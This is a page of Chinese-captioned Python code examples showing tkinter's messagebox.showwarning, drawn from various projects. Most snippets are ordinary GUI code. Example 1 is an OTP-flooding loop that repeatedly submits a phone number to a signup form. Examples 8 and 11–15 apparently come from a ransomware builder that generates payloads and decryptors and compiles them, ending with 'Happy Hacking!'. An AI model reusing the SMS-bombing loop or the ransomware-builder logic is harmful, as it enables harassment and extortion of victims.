本文整理汇总了Python中tkinter.messagebox.showwarning方法的典型用法代码示例。如果您正苦于以下问题:Python messagebox.showwarning方法的具体用法?Python messagebox.showwarning怎么用?Python messagebox.showwarning使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类tkinter.messagebox
的用法示例。
在下文中一共展示了messagebox.showwarning方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: clicked
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def clicked():
try:
for i in range(int(jlm.get())):
if int(jlm.get()) > 25:
messagebox.showwarning('Kebanyakan bosque', 'Jangan kebanyakan ntar coid -_-')
break
br.open('https://authenticate.hooq.tv/signupmobile?returnUrl=https://m.hooq.tv%2Fauth%2Fverify%2Fev%2F%257Cdiscover&serialNo=c3125cc0-f09d-4c7f-b7aa-6850fabd3f4e&deviceType=webClient&modelNo=webclient-aurora&deviceName=webclient-aurora/production-4.2.0&deviceSignature=02b480a474b7b2c2524d45047307e013e8b8bc0af115ff5c3294f787824998e7')
br.select_form(nr=0)
br.form["mobile"] = str(int(no.get()))
# br.form["password"] = "VersiGUIlebihgudea"
res=br.submit().read()
if 'confirmotp' in str(res):
stat=f"[{str(i+1)}] sukses mengirim OTP ke {no.get()}\n"
else:
stat=f"[{str(i+1)}] gagal mengirim OTP ke {no.get()}\n"
time.sleep(1)
Tex.insert(END, stat)
except ValueErrora:
messagebox.showerror('Value Error','Input angka!!! -_-')
except:
messagebox.showerror('Connection Error','Sepertinya ada yang salah. coba:\nPriksa koneksi internet anda atau\nLaporkan ke author')
示例2: start_processing
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def start_processing(self):
"""Start processing."""
if self.settings['filename_ann'].get() == '':
messagebox.showwarning(title="Warning",
message="Please specify a filename base.")
return
if self.settings['dataset_path'].get() == '':
messagebox.showwarning(title="Warning",
message="Please set the dataset path.")
return
self.store_last_settings = True
self.save_settings()
self.check_runlabel(self.settings['runlabel'].get())
self.config.read_dict(self.settings)
self.initialize_thread()
self.process_thread.start()
self.toggle_start_state(True)
self.update()
示例3: selectPack
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def selectPack():
global pack
pack = filedialog.askopenfilename(initialdir = "./",title = "Select Pack",filetypes = (("resource pack","*.zip"),("all files","*.*")))
if(pack):
root.withdraw()
convert = main(pack[:-4])
if(convert == -1):
print ("this pack is already compatible with 1.13")
root.deiconify()
center_window(root, 270, 120)
messagebox.showwarning(title='warning', message="This pack is already compatible with 1.13, please select other!")
elif(convert == 0):
print ("please set it manually")
res_win.deiconify()
center_window(res_win, 270, 80)
messagebox.showwarning(title='warning', message="Fail to detect the pack's resolution, please set it manually!")
else:
print ("next one?")
root.deiconify()
center_window(root, 270, 120)
messagebox.showinfo(title='success', message='Conversion is Done!')
return False
else:
print ('select pack to start conversion')
示例4: deleteitem
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def deleteitem(self):
index = self.listbox.curselection()
try:
item = self.listbox.get(index)
except TclError:
messagebox.showinfo('提示', '请选择需删除的项目!')
# messagebox.showwarning('警告','请选择需删除的项目!')
return
if messagebox.askyesno('删除', '删除 %s ?' % item):
self.listbox.delete(index)
del self.urllist[item]
messagebox.showinfo('提示', '删除成功')
else:
# messagebox.showinfo('No', 'Quit has been cancelled')
return
# for item in index:
# print(self.listbox.get(item))
# self.listbox.delete(item)
# print(index)
# urlname = self.listbox.get(self.listbox.curselection())
# print(urlname)
示例5: _start
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def _start(self):
if not self.videofile:
messagebox.showwarning('提示', '请先选择视频文件或目录')
return
def start(*args, **kwargs):
subfinder = SubFinder(*args, **kwargs)
subfinder.start()
subfinder.done()
subsearchers = [
get_subsearcher('shooter'),
get_subsearcher('zimuku'),
get_subsearcher('zimuzu')
]
t = Thread(target=start, args=[self.videofile, ], kwargs=dict(
logger_output=self._output, subsearcher_class=subsearchers))
t.start()
示例6: nextImg
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def nextImg(self):
""" Shows the next FF file in the list. """
# Don't allow image change while in star picking mode
if self.star_pick_mode:
messagebox.showwarning(title='Star picking mode', message='You cannot cycle through images while in star picking mode!')
return
self.img_handle.nextChunk()
# Reset paired stars
self.paired_stars = []
self.residuals = None
self.updateImage()
示例7: prevImg
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def prevImg(self):
""" Shows the previous FF file in the list. """
# Don't allow image change while in star picking mode
if self.star_pick_mode:
messagebox.showwarning(title='Star picking mode', message='You cannot cycle through images while in star picking mode!')
return
self.img_handle.prevChunk()
# Reset paired stars
self.paired_stars = []
self.residuals = None
self.updateImage()
示例8: make_demon
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def make_demon(self):
try:
create_demon(self.options['host'].get(),
self.options['port'].get(),
self.options['full_screen_var'].get(),
self.options['demo'].get(),
self.options['type'].get(),
self.options['method'].get(),
self.options['msg'].get(),
self.options['img_base64'].get(),
self.options['mode'].get(),
self.options['debug'].get(),
self.options['target_ext'].get(),
self.options['target_dirs'].get(),
self.options['remove_payload'].get(),
self.options['working_dir'].get(),
self.options['runas'].get())
except Exception as e:
messagebox.showwarning('ERROR', 'Failed to generate payload!\n\n%s' % e)
return
try:
create_decrypt(self.options['type'].get())
messagebox.showinfo('SUCCESS', 'Payload and decryptor were successfully generated!\n\nFiles saved to:\n./payload.py\n./decryptor.py')
except Exception as e:
messagebox.showwarning('ERROR', 'Failed to generate decryptor!\n\n%s' % e)
self.gen.destroy()
示例9: warning
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def warning(subject, text):
messagebox.showwarning(subject, text)
示例10: start
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def start():
global DIRS, FILE
if DIRS:
image_pdf(DIRS) # 执行图片转pdf
DIRS = ''
elif FILE:
if not os.path.exists(FILE[:-4]):
os.mkdir(FILE[:-4])
pdf_image(FILE) # 执行pdf转照片
FILE = ''
else:
messagebox.showwarning('警告', '先选择在执行!')
示例11: dec_key
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def dec_key():
key = password(text='Please enter your decryption key', title='Enter Key', mask ='*')
if key == None or key == '':
messagebox.showwarning('Error', 'No key given. Canceled...')
return False
return key
示例12: dec_path
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def dec_path():
path = askdirectory(title = 'Select directory with files to decrypt')
if path == None or path == '':
messagebox.showwarning('Error', 'No path selected, exiting...')
return False
path = path + '/'
return path
示例13: login
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def login(self):
# Check username and password
check_pwd = hashlib.sha256(self.options['pwd'].get().encode('utf-8')).hexdigest()
payload = {'user': self.options['username'].get(), 'pwd': check_pwd}
r = requests.post('https://zeznzo.nl/login.py', data=payload)
if r.status_code == 200:
if r.text.startswith('[ERROR]'):
messagebox.showwarning('ERROR', r.text.split('[ERROR] ')[1])
return
elif r.text.startswith('[OK]'):
data = r.text[13:]
data = data.split('\n')
prof = {}
try:
for i in data:
i = i.split('=')
prof[i[0]] = i[1]
except Exception:
pass
self.destroy()
main = MainWindow(self.options['username'].get(), self.options['pwd'].get(), prof['Email'], prof['Name'], prof['Surname'], prof['Rank'], prof['Status'])
main.mainloop()
else:
messagebox.showwarning('ERROR', 'Failed to contact login server!\n%i' % r.status_code)
return
示例14: open_server
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def open_server(self):
self.set = Toplevel()
self.set.title(string = 'Settings')
self.set.configure(background = 'white')
self.set.resizable(0,0)
Label(self.set, text = 'Host', background = 'white').grid(row = 1, column = 0, sticky = 'w')
host = Entry(self.set, textvariable = self.options['host'], width = 30)
host.grid(row = 2, column = 0, columnspan = 2)
host.focus()
Label(self.set, text = 'port', background = 'white').grid(row = 3, column = 0, sticky = 'w')
port = Entry(self.set, textvariable = self.options['port'], width = 30)
port.grid(row = 4, column = 0, columnspan = 2)
#Checkbutton(self.set, text = "Save keys to Onion Portal account", variable = self.options['save_keys'], onvalue = 1, offvalue = 0).grid(row = 5, column = 0, columnspan = 2, sticky = 'w')
if host == None or host == '':
messagebox.showwarning('ERROR', 'Invalid host!')
elif port == None or port == '':
messagebox.showwarning('ERROR', 'Invalid port!')
else:
self.options['host'] == host
self.options['port'] == port
go = Button(self.set, text = 'Ok', command = self.run_server, width = 30)
go.grid(row = 7, column = 0, columnspan = 2)
self.set.bind('<Return>', self.set.destroy)
exit = Button(self.set, text = 'Cancel', command = self.set.destroy, width = 30).grid(row = 8, column = 0, columnspan = 2)
示例15: compile_decrypt
# 需要导入模块: from tkinter import messagebox [as 别名]
# 或者: from tkinter.messagebox import showwarning [as 别名]
def compile_decrypt(self):
try:
decrypt = open(self.options['decryptor_path'].get()).read()
except FileNotFoundError:
return messagebox.showerror('ERROR', 'File does not exist, check decryptor path!')
try:
if self.options['os'].get() == 'windows':
py = 'pyinstaller.exe'
else:
py = 'pyinstaller'
if not 'from tkinter.ttk import' in decrypt:
tk = ''
else:
tk = '--hidden-import tkinter --hiddenimport tkinter.ttk --hidden-import io'
if not 'from Crypto import Random' in decrypt:
crypto = ''
else:
crypto = '--hidden-import pycryptodome'
if not 'import pyaes' in decrypt:
pyaes = ''
else:
pyaes = '--hidden-import pyaes'
if not 'from pymsgbox':
pymsg = ''
else:
pymsg = '--hidden-import pymsgbox'
os.system('%s -F -w %s %s %s %s %s' % (py, tk, crypto, pyaes, pymsg, self.options['decryptor_path'].get()))
messagebox.showinfo('SUCCESS', 'Compiled successfully!\nFile located in: dist/\n\nHappy Hacking!')
self.comp.destroy()
except Exception as e:
messagebox.showwarning('ERROR', 'Failed to compile!\n\n%s' % e)